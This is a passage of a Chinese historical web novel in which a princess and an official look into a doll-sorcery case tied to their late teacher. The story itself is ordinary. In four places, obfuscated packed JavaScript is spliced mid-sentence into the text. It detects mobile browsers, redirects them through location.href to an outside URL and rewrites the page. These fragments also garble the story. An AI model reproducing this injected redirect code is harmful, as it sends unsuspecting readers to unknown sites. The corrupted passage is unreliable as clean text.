恪回二字,是她在同江渊然闲谈时,半是玩笑半是认真地给他取的。 “今日听老师解字,说渊者回也,我便帮江兄想了个好名字。江兄先用着,日后再拿去老师那里请他定夺。” 他们当时倚在东云台的花窗下,晏泠音在临字,江渊然就坐在对面替她磨墨。这种事枯燥且相当费手,但他微扬了唇角,看着心情不错。 浓郁的墨香在他身周逸散开来。他并未抬头,手上的动作也依旧不急不缓:“什么名字?” 午后的日光从窗棂的缝隙间透照进来,在他身上留下斑驳的影,晏泠音看得出神,过了片刻才提笔蘸墨,将写成的八个字递了过去,轻声道:“敬恪恭俭,昭回于天。恪之回之,是为礼。我盼江兄日后立于青云之上时,也能时时回顾,莫要忘了东云台中的日子,和台内的……故人。” 江渊然已经转过身来,沉默着垂眼看她。她知道他也想起了同样的事,几乎便要脱口问道,既然不愿认她、信她,为何还要长久地用这个她赠予的名字?既然要同她划清界限,何不把往日的一切都断个干净? 江渊然的嘴唇发着颤,像是要说些什么。可他又猛地转过头去,掩住了眼底的猩红。 “与殿下无关。”他哑声道,“臣告……” 不行。不可以。晏泠音心中警铃大作。她太清楚江渊然的性格,若是今日让他就这样走了,下次再见,只怕又要三年。 可是,她已经没有三年了。 “回兄,”她攥住了江渊然的袖摆,迫他往这边看过来,“我要嫁人了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431886|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江渊然笼在袖中的手颤了一下,却没有将她甩开。 “是去泾州,即便骑了最快的马不眠不休,也要走上五天五夜。我走之后,怕是很难再回京了。” 江渊然顿了顿才道:“什么时候的事?” “早便定了。”晏泠音尽力说得平静,“待过完今年的生辰,我便动身。” 不受宠的皇室女儿不过一颗棋子,她清醒得早,本已接受了这样的命运。但在看到江渊然通红的双眼时,她仍觉心上像是压了块大石,迫得她无法呼吸。 可以不这样的,他们之间的告别,本可以更潇洒更轻快一些。她终于要逃离深宫,去往一处更广阔的天地了,江渊然应该替她高兴的。 可为什么,连她的眼睛也慢慢热了起来,连她的手也开始发颤了呢? 是因为边地苦寒,气候恶劣,她怕自己无法适应当地的水土吗? 或是因为她要嫁的那个人虽有重兵在手,却脾性暴虐,冷漠薄情,并非她期望中的良人? 还是因为她的父皇告诉她…… 或许都不是。 她只是有憾事未尽,有冤狱未平,不甘心就此离开,更不舍得把和她牵扯最深的那个人独自留在京城。 这里始终风云涌动,而那人秉性太正太直,一不留神就会被暗影吞噬。 她深吸了口气让自己平复下来,轻轻地松开了江渊然的衣袖,想将手抽回,可他却忽然反握住了她的手。 下一秒,江渊然上前一步,将她拥入了怀中。 他们靠得极近,近到晏泠音能听清他急促的心跳。他的身子仍然在微微发抖,连带着声音也是抖的。 “对不起。” “我……臣对不起殿下。” 因为克制得太过用力,江渊然的指尖都泛出了青白色。他几度收紧双臂,又几度松开,最终只将晏泠音虚虚地环在身前。 “臣原本想着,只要臣再努力一些,再得陛下赏识一些,早晚能查清老师的案子,洗脱那些屈辱的污名。臣也能回报殿下,让殿下不受拘束地去做自己真正想做的事。” “可是为什么……” 为什么上天如此吝啬,不肯再给他些时间。三年一千多个日日夜夜,能让至亲成为至疏,能让昔日带了重枷的罪臣重回朝堂,再掌权柄。他却仍觉时间过得太快,不够他还恩师一个清白声名,亦不够他堂堂正正地,站在想要庇护之人的身前。 不再是以被庇护者的身份。 他说出来的,未说出来的,晏泠音都能听懂。也正是因此,她没有办法回应。仰起脸来时,她已眨去了眼底的湿意,恢复了平静。 “回兄,我们很久没有一起读过书了。” 她从他的怀抱里轻轻挣脱开来,转而又牵起了他的衣袖。 “跟我来。” 江渊然仍停在原地:“不可……” “你告诉我实话,”她打断了他,直接问道,“这个案子,是和先生有关吗?” 5. 佚书 秘书阁常年少人造访,晏泠音推开那扇厚重的木门时,下意识瞥了一眼身后的江渊然。她已经习惯了此地的清冷,但他显然没想到皇家密阁会岑寂至此,望着飞扬的尘灰皱起了眉。 三年前她初来此处时,同样觉得诧异。 “这边。”她出声提醒,先他一步往左侧大殿走去。那里摆了她平日校书所伏的桌案,纸砚笔墨都理得整整齐齐。她从桌边绕过时,顺手取了烛台,擦了火折将其点亮。 “回兄要的是何书?” 她微侧了身穿行在高大书架之间,边走边留神替江渊然照路。旧纸页的香气萦绕在身旁,江渊然的声音也低低地从身后传了过来:“南疆志,卷廿九。” 南疆是梁人对南部那块蛮荒之地的称呼。十数年前它尚被叫作南国,自今上亲征将其平定后,便改名叫了南疆。它算不上富庶,人口也不多,只是地域着实辽阔,且风土人情皆与北方相异,因而不少梁人都对它感兴趣。晏泠音的太祖便曾着人前往南疆采风,编写了这部堪称详实的南疆志。 南疆志一共三十卷,她记得每一卷的内容,江渊然要的是灵征志。对寻常书志而言,灵征不过是将各地谣谶、祥瑞收集起来,再将种种异象归到当今君主身上,称颂一句实乃今上之德,但南疆的灵征志却是个例外。 “这一卷,”她停了脚步,“阁中有缺。” 秘书阁号称藏天下书卷,除了未上交朝廷的私人手稿外,无一遗漏。南疆志又是天子亲自下令编写的,按理来说,不可能不备在阁中。 她回头时,看到了江渊然凝重的面色。 “为何会缺?” “回兄可还记得承观九年的水厄?” 大梁的国都最初并不是宛京。数年前国中生乱,她的父皇晏懿在平定暴乱后,下令将国都东迁。与粮草金银一同运往宛京的,还有原本藏于西京的浩浩书卷。只是未曾想到,运书册的船只行至白水河时触了礁。那日偏巧天降大雨,河水暴涨,满船所载之物皆覆于水中,无一本被打捞上来,也无一人生还。 当时在那艘船上的,还有晏懿的长子,晏泠音的长兄晏瞻。 “殿下是说,那卷书在水厄中佚亡?”江渊然的眉头皱得更紧,“可余下二十九卷皆在,这不合常理。” 哪有将同一部书分开来运输的道理? “我也不解,但那似乎是唯一可能的答案。”晏泠音回想了一会儿,“据我所知,近年来唯一一场书厄便是白水河,此后秘书阁落成,这里的书出入皆登记在簿,三年来我一一核验过,确实未见廿九卷南疆志。”她抬眼看向江渊然,“不知回兄为何想要这一卷?” “因为……”江渊然顿了顿,眸中的迟疑一闪而过,“臣听闻,那一卷中记载了南疆的偶术。” 晏泠音很轻地眨了下眼。 大梁历代君主皆不喜巫蛊,晏懿尤其如此。他在位的十数年间下了极其严苛的禁巫令,被牵连进去的术师和普通百姓何止百千。其中最广为人知的一桩案子关涉到巫术中的偶术,就发生在三年前的东云台。 “回兄是从何处听闻?” 江渊然看了她片刻,缓缓开口:“殿下是怀疑,有人想要误导臣?” 烛蜡的光轻颤了一下。晏泠音的眸中映着跃动的烛火,他的身影就在那丛烛火中燃烧着。 “这部书在宫外流传极少,所以……” “臣虽未读过南疆志,但也在其他书中见过些许引文,知道廿九卷所载为何,与旁人无关。” 他何等聪敏,又何等会猜她的心思。晏泠音心中有些发酸。以江渊然的性格,即便真的有人明里暗里地提点过什么,即便他明白无误地知道面前是个陷阱,他还是会去的。 旁人都说他经历了东云台一狱后性情大变,从温润君子变得冷若冰霜,但总有些东西是改变不了的,比如骨子里的傲气和倔劲。 “其实不必翻什么志书。” 江渊然明显怔了一下。但晏泠音说得很快,没给他追问的机会。 “毕竟上面的记载也未必完全。回兄或许不知,我学过偶术。” 阁内忽然陷入一片死寂。江渊然猛地睁大了眼。晏泠音只是安静地望着他,看着他眼中的愕然慢慢变成了惊疑,随后便是难掩的痛意。 “不可!”他决然道,“殿下不该……” “不该被牵扯进来?”晏泠音反问他,“江大人已经闯了禁阁了,如今才开始后怕?” “不是这样,”江渊然急道,“臣原本不知道殿下……” 除了偶术的发源地南疆,大梁其他地方的术师都被杀尽了。他知道当今陛下对术师下手有多狠。书册一事尚有办法遮掩,但如果晏泠音的身份暴露,即便她是皇女,也绝不可能活下来。 “晚了,”晏泠音轻声但坚决地开口,“已经知道了。怎么,回兄要告发我吗?” 明明是句玩笑话,他却一点都笑不出来。 “殿下这是何苦……” 他忽觉自己的小指被勾住了。晏泠音冲他扬起唇角,又晃了晃两人勾在一处的手指:“天知地知,你知我知,只要回兄不往外说,就没有第三个人知道。” “现在该告诉我了吧?”她松了手,举高烛台在他面前晃了晃,“到底是什么案子,怎么就牵扯上了偶术,牵扯上了……老师?” 说到最后那个词时,她语中的笑意淡了下去,听得他呼吸一滞。 “是吕绍。”他狠了狠心,终于不再回避,低声道,“殿下或许记得,他也是老师的学生,捱过了三年前的大狱,又在一年前入了大理寺。几日前臣听到些风声,说他用偶术谋害妻子,现已被大理寺拘押。” “听到?”晏泠音留意到这个词,“这个案子,原本并不是回兄在管?” “他是臣的直系下属,按律臣当避嫌。” “那为何……” 话刚问出一半便停了,在晏泠音明白过来的那一瞬,有幽幽冷意攀上了她的脊骨。 因为没有其他人敢接东云台的案子。 * 茶楼临街的二层雅座,雕着重瓣莲花的窗扇半开着,一道修长的身影靠在窗边,屈了食指,正有一搭没一搭地敲着桌案。馆内咿咿呀呀唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431887|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着戏文,他却似并没在听,目光始终落在窗下熙来攘往的街上,像在等着什么人。 他偏过头时,日光斜打在他被面具掩住的脸上,顺着高挺的鼻梁一路滑下,淹在鼻影那片暗色里。 “城南的栀子可开了?” 侍立在侧的阿承被他问得一愣,不大肯定地应了一声:“许是开了,如今正是时候。” “好。”他轻点了下头,“走之前绕路去一趟城南,我要折两枝带上。” 他声音柔和,兼之说得不紧不慢,很容易便给人以温和可亲之感。此时在这飘着茶酒香的楼阁上,在这初夏醺然的暖风里,他沐浴在淡金色的日光中,唇角含笑朝阿承看过来,实在是一幅极美的静好图景。 如果他的眼中没有那么重的恹色,如果他的唇不是那样病态的苍白……就更好了。 阿承顿了顿才应了句“是”。他跟着他家公子久了,直觉公子今日心情不好,但从表面上看,偏偏又不见丝毫端倪。 “离出城还有些时辰,公子要不先休息片刻?”阿承犹豫半刻,还是小心地开了口,“近来多事,公子许久没睡过好觉了。” “无妨。”浅淡的笑仍挂在他的嘴角,但他已不再看向阿承,转眼又望向了窗外,“我在这等着就好。” 话至此已不好再劝。阿承走近几步,给他把桌上的茶盏续满。天已热了,茶楼早早地备上了凉茶,但他倒的这壶还是温的。掌柜的已认得了他们,不论冬夏,给他家公子上的都是热茶。 即便如此,那人也只端茶喝了一口,就掩袖闷咳了起来。 “我这记性,公子今日的药……”阿承慌忙去掏腰间的黑金符袋,“也到了该换药的日子了,等公子忙完这阵,还得抽空去看看季大夫……公子?” 他递去的瓷瓶未有人接,尴尬地悬在半空。阿承顺着那人的目光看了过去,发现街道的西头驶来了一辆马车,小而旧,混在人流车流中本来毫不起眼。但车檐的一角挂了只铃铛,倒是做工精巧,他眼睛尖,还能看到上面细密繁复的花纹。 等的人来了。阿承精神一振,转头去看他家公子。可那人非但没有急着起身,甚至连原本挂在唇边的笑也淡褪下去,抿成一条平直的线。 “为何往那边去了呢。” 阿承也眯着眼看了一会儿,迟疑道:“那个方向,似乎是去灰瓦巷?” 灰瓦巷是京中贫民的聚居地,偶尔也有没什么积蓄的小官把家安在那里。或许是那一块风水不好,近年来搬的搬,死的死,如今已不剩几户人家了。 但阿承还记得一户。确切地说,他不久前还陪他家公子去过那户人家。 难道…… “今日有谁入过宫?” 男子的声音是忽然凉下来的。尾音依旧微微上扬,好像带了点笑,听在耳中却无半分欣悦,只觉寒气从生。阿承连忙道:“我这就去查。” 他家公子却静了半刻,开口道:“不必了。” 他从倚着的窗台边直起身来,艳红的袖摆无声地拂过桌案,最终垂落于身侧,像一朵开而复凋的花:“去灰瓦巷。” 6. 怀瑾 “殿下就这样出了宫,真的不妨事吗?” 咿呀作响的马车载着她和江渊然,已经驶离了皇宫。晏泠音挑着车帘往外看了一眼,似乎在确认方向:“不妨事,也不是第一次了。” 确实不像是第一次。她不仅随身带着某个“魏女史”的勘合,装成是借着休沐出宫探亲的女官,还能一出来就找到马车,行云流水地,倒像是早就准备好了。 他还要问什么,却被晏泠音打断了:“回兄方才说,从吕家找到的偶人身上没有扎针?” 这是此案最大的疑点。即便不通偶术如江渊然也多少听说过,借偶人来施咒怨,本质上是将对偶人的伤害转移到活人身上,因而偶人或是被针扎住要穴,或是缺了胳膊腿脚,总不可能毫无损伤。 “是,”江渊然点头道,“臣亲自带人去的吕家,从院中挖出了那只桐木偶人,它背后刻着吕夫人的生辰八字,但除此之外,并没有什么特别之处。” “吕主簿对此作何解释?” “他在供状中说,偶人确实是他放的,但他无意加害夫人,除此之外,便再没有别的话了。” 晏泠音思索了片刻,正色道:“偶人的事我已经有了猜测,但还需去吕家再确认一番。另外,我想听你讲讲这整桩案子。” 她说得认真,俨然已将自己视作了办案者。江渊然和那双眼睛对视了一阵,叹了口气。 “也罢。” 这本不是个复杂的案子,若说有什么稍微麻烦之处,便是它涉及了一桩“家事”。 吕绍和发妻殷氏四年前成婚,感情和睦,算得上相敬如宾,但殷氏始终未有身孕。吕母盼着抱上孙儿,明里暗里地给儿子儿媳施加过不少压力,说白了,就是想让吕绍纳妾。 对此殷氏的态度倒是颇为和缓,甚至还帮着婆婆劝过丈夫,但吕绍那边却不肯松口,说是不求有子嗣,只想同阿瑾相携白头。 殷氏是家中的幺女,排若字辈,闺名为瑾。瑾,玉之美者,一看便知,这个姑娘在出嫁前,一直是父母的掌上明珠。 以上这些是坊间传闻,描述得堪称温情,但在京中士大夫口中,却又换了一套说辞。他们觉得吕绍之所以不纳妾,并不是对妻子爱笃情深,而是碍于其母家,鄞州殷氏。刑部尚书殷禹在朝中颇有权势,且是出了名的爱女如命。当初殷若瑾想嫁给吕绍时,他还极力反对了一番,只后来拗不过女儿,才不情不愿地请了媒人,去吕家说亲。 吕父曾做过掌漕运的官长,那是个满朝皆知的肥差,因而吕家家境还算殷厚,但对上世代簪缨的殷家,无疑还是落了下乘。何况吕父在幼子出生后不久便遇难于江中,吕绍成人之前,一直是吕母在独立操劳家事,那些看着厚实的家底,也在日复一日的柴米油盐中逐渐消减了。 吕绍是知道寡母辛劳的。他幼时便聪颖懂事,心思细敏,读书也相当刻苦。杜慎于东云台开筵讲时,他慕名前去,通过了重重严苛的考核,成了为时人所羡的杜门弟子。承观十五年,他于殿试中荣登二甲,被赐予进士出身,以庶吉士的身份入了翰林院。 放榜那天,宛京的花开了满城。少年青衫落落,马蹄得得,一路踏着碎花行过京中街巷,正在意气风发之时。巧的是,那日殷家姑娘也难得地出了门,去花开得最好的迎露寺赏春,偶然揭了车帘朝外望了一眼,少年眉目飞扬的笑便落入了眼中。 向来不信神佛的殷若瑾,第一次在迎露寺问了卦,求了签。而如果那日的匆匆一瞥只算是巧合,那么半月之后,当她陪着已有身孕的长姐去寺中祈福,再次遇到那位青年公子时,她便觉得有点命定的味道了。 她在旁边站了许久,见他既不拈香,亦不祝祷,只是沉默望着那尊佛像,忍不住开了口。 她问他:“公子所求何事?” 那天的吕绍没穿文士气十足的青衫,而是一身玄色劲装,窄袖束腰,于飒爽之外,平添了几分孤寂落寞。他朝她看过来时明显怔了一下,殷若瑾想,他应该是不记得她的。 她正要再说些什么缓和气氛,吕绍却开了口,竟是在回答她那个问题:“求家人平安。” 那年的春日乍暖还寒,京中不少人减衣无忌,大多患了伤风。吕绍的嗓音也有些哑,听在耳中沉沉的,全然没有半月前意气昂扬的样子。 后来殷若瑾才知道,当时吕母也染了病,严重的时候,吕绍衣不解带侍奉了好几日,才让她渐渐好转。 她当时心念微动,指了指大殿檐下摆香的几案:“若有所求,公子不妨上柱香,诚心上达天听,定能如愿。” 吕绍看了她许久,没吭声,后来却真的去殿外取了香,在莲花灯座上点燃。他先前不曾敬过香,也不懂那些规矩,殷若瑾便也取了香,站在他身侧,一句一句轻声说给他听。 “像这样用两指把香拈住,平举到齐眉处,先拜大殿……” 她在家中娇纵惯了,连惯来疼她的殷禹都曾摇头无奈,说她没个女孩儿样子。可当日,她却那样耐心,那样慢声细语地和人交谈。彼时殿内殿外人来人往,语声嘈杂,但她还是忍不住担心,自己的心跳声会不会太大了,若让他听见,该笑话她吧。 其后的数月里,殷家发现小女儿忽然转了性,不再把家里闹得鸡飞狗跳,偌大一个府宅骤然清静下来,竟让人有些不适应。而那段时间里,殷若瑾对迎露寺产生了极大兴趣,隔日就往寺里跑。她总是天刚亮就悄没声息地起来梳妆,挨到太阳下山才回府,面上还带了抹夕阳的绯色。 一来二去的,很快便传了些闲言碎语出来。那些话之所以没传遍京城,是因为它们先传到了殷禹耳中。 他头一回沉了脸,厉声质问殷若瑾是不是想给殷家丢脸,而他的女儿竟也头一回没撒娇耍赖,她只是垂首站在父亲的桌案前,等他喝问完了,才淡声开口道:“我要嫁他。” 此后无论殷禹怎么吓她唬她,亦或是劝她哄她,殷若瑾都没有再说过一句话。殷禹看着她那小小的、却站得笔直的身子,忽觉他有些不认识自己的女儿了。这种陌生感直到殷若瑾出嫁,再到她带了丈夫回门,都未能彻底消散掉。 殷若瑾和她早死的庶母一样,看着娇蛮无理,实际上憋着股劲,她认定的事,便是八头牛也拉不回来。即便出嫁后的生活并没她想象的那么美好,她也从未和父亲诉过苦。吕家的清贫,婆媳间的嫌隙,她只是默然咽下,换了荆钗布裙,也褪去了一身富家小姐的脾性,安安分分地做了人妻。 她唯一一次求殷禹是在三年前。吕绍作为杜门弟子被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431888|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系下狱,她安抚婆婆睡下后,穿上浆洗干净、补缀完好的旧衣,深夜叩响了殷家的门。那一晚她向殷禹磕了三个头,在他的书房外跪到了天明。 满朝文武无人敢为杜慎和其党羽求情,避之唯恐不及,殷禹本就不喜杜慎,没有落井下石都算得上仁慈。何况吕绍当时也只是个地位卑下的庶吉士,自然不值得殷尚书为之冒险。他带了最后一分父亲的慈爱,问女儿想不想和离,而殷若瑾当时看他的眼神,却让他如被针刺,浑身都难受起来。 殷若瑾站起身,一言未发地走出了殷府,从此再也没有回来过。 晏泠音听得出神。其中有部分她早在流言中听过,宫中生活平淡,一个敢做出格之事的贵家小姐,无疑是那些闲散妃嫔们最好的谈资。她们或是感慨吕绍命好,或是叹息殷若瑾太过轻率,行事莽撞,但无论说什么,口气里总是带着一分羡慕的:世间有情人着实太少,敢把这份情摆到明面上来的,更是如麟角凤毛。从这一点上来看,殷若瑾倒是幸运的,做了许多人想做却不敢,亦或是不能做之事。 “可是我记得……” 她慢慢开口,带了几分不解看向江渊然:“虽然殷尚书没有出手,吕主簿却还是被放了出来。” 江渊然点了点头:“听说殷娘子曾为他多方奔走,许是有旁人动了恻隐之心,暗中相助救了吕绍。” “那为何后来又会发生那种事?” 为何后来…… 江渊然忽然想起数日前,他在初接刑案的那一日去拜访了殷禹。那个己过半百的高大老者,即便在朝堂上对着皇帝也敢直言抗辩,可当时他和江渊然面对面坐在桌案前,还未说什么就红了眼。 他没答江渊然的疑问,却反过来问他道:为什么? 或许因为,人是会变的。人心如此,人的情意尤其如此。从狱中出来后,吕绍虽捡回了一条命,却被逐出了翰林院,从此性情大变。即便之后又做了两任外放的小官,又因缘际会被调回宛京,入了大理寺,却一路都政绩平平。曾经那个于榜下观名,恣意策马过宛京的少年永远消失了,连同曾经的理想和志趣,一同葬在了阴湿的牢狱里。他很少笑,很少说话,即便对着妻子和母亲,也总是沉默耷拉着眼皮,不言不语。 更多时候,他甚至不让妻子和母亲近身。他不是把自己关在书房中,就是出门去莺柳巷,整夜整夜地听歌女抚琴唱曲。殷若瑾生性高傲,从未和他争吵过,只是在他又一次带了满身酒气回来后,冷下声说,若他执意如此,他们只有走和离这条路。 那段日子吕母也被儿子气得不清,她本就因过去操劳太过而落了病根,如今又惹上心疾,一连数日卧床不起。先前端水奉茶照料她的儿子却不在身边,唯一在服侍她、宽慰她的,只有她曾颇有微词的儿媳。 她有时会拉住殷若瑾的手,喉中呜呜有声,却哽咽着说不出一个字。 如此过了三年,吕母终不敌一身衰病,早早撒手而去。殷若瑾冷静地处理了丧事,送走了前来吊唁的寥寥亲友,然后给吕绍落了封和离书。 但她还未走出吕家的大门,就昏倒在了院阶之前。殷家放心不下小姐的老仆匆匆赶来时,看到了她磕上石阶时流出的血。细长而蜿蜒的一道,像条扭曲的殷红的蛇。 7. 方狱 再后来,殷若瑾便被接回了殷家。但无论请了多少大夫来看,都说不清她为何昏迷,又为何久久不醒。殷禹安排人陪着她,尽力往她口中灌些水米,可过了几天,她还是肉眼可见地消瘦了下去。 不只是消瘦,连呼吸也变得微弱了。明明额头的伤口已经止了血,但她还是越来越苍白,倒像是被什么看不见的东西吸了精血,失了生气。 终于有大夫迟疑道,娘子这番模样,似乎是中了巫术。 殷禹坐不住了。他带人去了趟吕家,正好撞上刚从莺柳巷回来、一副失魂落魄模样的吕绍。他连一句寒暄都懒得说,当即就把人押去了大理寺的天狱。 刑部尚书亲自下场抓人,在朝中倒也小小地轰动了一阵。尽管按大梁律令,此案需得先由大理寺详断,明了案情后再交由刑部复审,可明眼人都能看出来,吕绍的丈人对他恨之入骨,他左右都得落到殷禹手中,即便不死也要脱层皮。 但在审案时,吕绍咬死并未下手害殷若瑾,只在多番盘问下道出一句,他确实用过偶术。 再然后,江渊然便去了吕家,挖出了那只小小的偶人。直至此时,这桩案子都还是“家事”。 “我朝禁巫禁蛊已久,这种东西确实不该出现在朝廷命官手里,殷尚书要求彻查此案,亦是他的职责所在。只是……” “只是殷尚书不甘于此,想把这个案子闹得更大些?” 江渊然的脸已经冷了下来。他没再说什么,而沉默本就是回答。 东云台一案,杜慎门下的弟子死了超过半数,剩下的也都元气大伤,几乎彻底断了仕途。但其中也有少数例外,比如吕绍,比如江渊然。 如果吕绍承认自己的偶术和杜慎有关,必将在朝中掀起新一轮恐慌。首先被查的,就是当年那些幸存的杜门弟子。 “他是何居心?”晏泠音甚少这样直言斥人,江渊然听得出,她是真的动了气,“就算是要为女儿讨回公道,凭什么牵扯上其他无辜之人?” 其实答案他们都心知肚明。 杜慎还在世时,殷禹便不喜这位满身酸气的腐儒。杜门弟子不少,看不惯殷禹那种官场做派的亦不在少数。同朝共事难免有些摩擦,数年的怨意积攒下来,如今又经吕绍一事催化,殷禹的迁怒并非完全不能理解。 但能理解,并不意味着能接受。 “他明知道回兄接了此案,却还想做这种事?”晏泠音皱眉道,“他到底是什么居心……” 江渊然听着她愤愤然的斥责,查案时受的那些冷眼,堵在胸口的那些闷气,忽然便消散开了。他知道晏泠音说这些并不只是因为她秉性正直,看不惯以权谋私,也不只是因为她重情重义,厌憎那些把儿女当作筹码的生意人。 她说这些话,还因为那些可能的受害者里,包含着他。 难言的酸涩涌上他的胸口。江渊然顿了顿,轻声道:“不是殷尚书,也会有旁人。盯着东云台的不只他一个。” 东云台荒废已久,但他仍习惯用它代指四散各地的杜门学子,好像他们就是活着的东云台。晏泠音闻言,不觉攥紧了手指。 “回兄早就明白会变成这样,却还是接了下来?你有没有想过,如果父皇对你起疑,你又该怎如何自处?” 她太了解那个高高在上的人了。朝中的风云涌动,他比她和江渊然都更清楚。他们能看出殷禹的心思,那个人如何会看不出?但他却还是把案子交给了江渊然,就好像……有意如此。 “殿下,”江渊然看着她,声音很轻,似在提醒什么,“臣不疑君。” 马车在这时停了下来。车身震了一下,随即便听到了赶车人压低的声音:“前面路窄,不便行车,只怕还要走上一段。此处停车太惹人耳目,我先去别处转转。” 晏泠音隔着车帘应了一声:“有劳魏大哥。” 她抿着唇,没有应江渊然那句话,起身揭了帘下车。江渊然落在后面,回眸扫了那个赶车人一眼。他肤色黝黑,一顶宽沿草帽压得很低,叫人看不清面容。口音带了七分京腔,应当是宛京附近的农人。而他虽然称晏泠音为姑娘,口气却极其敬重,不似寻常那些粗枝大叶的乡人。 他收了目光,几步赶上晏泠音,声音有点发沉:“如果今日没有遇上臣,殿下也会一个人出宫。” 这句话不是疑问。晏泠音倒也并未遮掩,答得干脆:“是。” 早已备好的勘合,女官的装束,恰好等在宫墙外的车马……若是见了这些却仍不能发觉异样,那他就不是江渊然了。 “为什么?” “我知道回兄记得这一天,我也一样。” 他们踏入了吕绍所居的灰瓦巷。两侧的砖石垒得高高的,将毒辣的日头挡在外面,洒下一片凉意。此处阴寒潮湿,夏天倒也罢了,若到冬日,实在算不上宜居之地。如果不是亲眼所见,只怕谁都很难相信,大理寺的主簿居然会住在这种地方。 脚步声在巷中跫跫回荡,江渊然的思绪有一瞬断裂,脑中也变得一片空茫。他忽然意识到那句“不是第一次”的真正含义。 今日是杜慎的忌日。若他没有猜错,去年今日,晏泠音也私下出了宫。 种种念头在他的脑中碰撞着,嗡然作响。还未等他再说些什么,身后忽然响起了咚咚的脚步声,在这寂静的长巷里格外令人心惊。 在江渊然意识到之前,他已错开一步挡住了晏泠音的身影,随后才回过头去。让他惊讶的是,那是一个他认识的人,在他手下任职的大理寺正,孟呈。 “江大人!”孟呈气喘吁吁地跑过来,他的额角已爬满了汗,此时见到他,疲倦的脸上终于露出点喜色来,“下官找了许久,不想大人却在这里……” 江渊然沉声道:“何事慌张?” 即便是休沐,大理寺也需留人值守,若他所记不错,孟呈就是今日的轮值官。他边问边上下打量着对方,很快便察觉到了几分不对。孟呈不是莽撞之人,神色如此惶急,定然是出了大事。 而如今能称得上大事的…… 江渊然的心猛地一跳,跟着便听孟呈急道:“下官今日本在整理卷宗,方狱的刘大人忽然领了人进来,说要带走吕主簿……” 方狱是刑部内设的牢狱,和大理寺的天狱不同。天狱里既有犯事的朝员,亦有从各州县押来宛京的地方官,人数不少,规矩也多,因而关押也好、审讯也罢,皆有律法章程可循。相较之下,方狱的规模更小,其中所囚之人多牵涉到重案秘案,刑讯手段也更加酷烈残忍。甚而朝中流传着一句不那么好听的话,说蹲过方狱的人,至今还没有竖着出来的。 江渊然同刘敬素无交情,但也知道他虽然在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431889|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方狱中是个厉害角色,官阶却算不上高,还不至于自作主张闯进大理寺拿人。他既然敢这么做,定然是上面有人发了话。 是殷禹久等不到判案成辞,因而坐不住了,还是…… “不是殷尚书。”晏泠音的声音极轻地在身后响起,“他做不了这个主。” 她说得不错,直接越过司法流程将人带进方狱,即便是权重势尊的殷禹也做不到。普天之下,只有一人能下此命令。 迈入灰瓦巷这么久,江渊然始觉有凉意缠身。变故来得太过迅疾,又太过讽刺,就发生在他说完那句“臣不疑君”之后。 孟呈此时才缓过劲来,隐约觉得江渊然身后还有道人影,疑惑地想扭了脖子去看,却被江渊然再次不动声色地挡住了。他伸手揽了下孟呈的肩,顺势带着他回身往巷口走:“署中离不得人,你先回去,我会把这件事查清楚。” 他说得笃定,心下的不安却越来越浓烈,忍不住回头看了眼晏泠音。她站在巷中昏暗的光线里,隔了半条巷道的距离,也正安静地望着他。 他们的目光被拉得很长,那一瞬,连时间也像是被缓缓拉长,就那样慢了下来。他看见她的嘴唇微动,无声地冲他做了个口型。 她说,去罢,回兄。 他们都知道,方狱中的刑罚不是常人所能忍受的,吕绍毕竟是个读书人,身子骨单薄了些,未必能扛得住多少时间,晚去一刻,或许就会搭进一条人命。何况,要在那种地方逼人开口,逼人供出或真或假的罪名,几乎是轻而易举的事。 但他们两人想要的不是白纸黑字的供词,而是真相。 直到巷外的脚步声逐渐远去,晏泠音才慢慢收回了目光。这一下变故也是她始料未及的,那样的突兀,又是那样的不祥。 她其实还有很多话要同江渊然说,不只是吕绍这一案的疑点,还有三年前的那些人、那些事。她本想问问这三年他过得如何,虽然不用想也知道,他所历的艰辛不会比她少。三年前活下来的人里,他或许是背负最多、脚步最沉的那一个。 